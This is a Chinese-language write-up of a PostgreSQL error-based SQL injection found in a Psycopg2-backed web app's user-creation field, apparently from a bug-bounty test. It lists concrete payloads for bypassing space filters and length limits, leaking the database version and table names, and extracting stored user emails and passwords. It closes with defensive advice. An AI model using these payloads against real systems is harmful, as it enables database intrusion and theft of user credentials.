POSTGRESQL盲注窃取PSYCOPG2数据
字数 949 2025-08-10 08:28:24
PostgreSQL盲注窃取Psycopg2数据技术分析
漏洞背景
本文详细分析了一个基于Python开发、使用PostgreSQL数据库的Web应用程序中的SQL注入漏洞。攻击者通过精心构造的SQL查询,成功绕过了输入限制,最终获取了数据库敏感信息。
漏洞发现过程
1. 目标识别
目标站点:staging.sub.redacted.com/endpoint/_dash-update-component
- 接收大量POST请求,每个请求有唯一JSON响应
- 用户分为Admin和User两种角色
- 用户创建功能存在潜在注入点
2. 初始测试
创建用户请求示例:
{
"output": "createUserSuccess.children",
"inputs": [
{"id": "newUsername", "property": "value", "value": "test1"},
{"id": "newPwd1", "property": "value", "value": "test123123123"},
{"id": "newEmail", "property": "value", "value": "test@test.com"},
{"id": "role", "property": "value", "value": "dp"}
]
}
错误响应暴露关键信息:
{
"response": {
"createUserSuccess": {
"children": {
"props": {
"children": [
"New User not created: (psycopg2.errors.DuplicateSchema) schema \"test1\" already exists\n\n[SQL: CREATE SCHEMA test1]"
]
}
}
}
}
}
关键发现:
- 使用Psycopg2作为PostgreSQL适配器
- 用户名直接拼接到
CREATE SCHEMA语句中 - 错误信息泄露了原始SQL查询
注入技术分析
1. 注入确认
测试payload:testuser1; TEST
错误响应:
syntax error at or near \"TEST\"\nLINE 1: CREATE SCHEMA testuser1;TEST...
确认存在SQL注入,输入未被引号包裹。
2. 绕过技术
空格绕过
- 原始空格被转换为下划线
- 使用
/**/作为注释分隔符(后被拦截) - 最终使用
\n、\r或\t作为分隔符
字符长度限制
- 用户名字段限制80字符
- 使用
::int替代CAST() AS INTEGER节省字符
3. 信息泄露技术
类型转换泄露
利用PostgreSQL的类型转换错误泄露信息:
test11a1111;SELECT/**/CAST(version()/**/AS/**/INTEGER);
或更简洁的:
t;SELECT\nversion()::int
响应示例:
PostgreSQL 12.3 on x86_64-pc-linux-gnu, compiled by gcc (GCC) 4.8.3 20140911 (Red Hat 4.8.3-9), 64-bit
表信息枚举
tc;SELECT\n(select\ntablename\nfrom\npg_catalog.pg_tables\nlimit\n1\noffset\n3)::integer
多行数据聚合
使用array_to_string和array_agg函数:
b2;select\narray_to_string(array_agg(datname),',')::int\nfrom\npg_database;
4. 用户数据提取
t3;SELECT\n(select\nemail\nfrom\nuserdata\nlimit\n1\noffset\n5)::int
t3;SELECT\n(select\npassword\nfrom\nuserdata\nlimit\n1\noffset\n5)::int
防御建议
- 参数化查询:始终使用参数化查询而非字符串拼接
- 最小权限原则:数据库用户应仅具有必要权限
- 错误处理:自定义错误信息,避免泄露技术细节
- 输入验证:对用户名等输入实施严格格式限制
- 长度限制:合理设置各字段长度限制
- WAF防护:部署Web应用防火墙检测和阻断注入尝试
总结
本案例展示了如何利用PostgreSQL的类型转换特性和Psycopg2的错误处理机制,在严格的字符限制条件下成功实施SQL注入攻击。攻击者通过精心构造的短小payload,逐步枚举数据库结构并最终获取敏感数据,凸显了即使是看似受限的注入点也可能带来严重风险。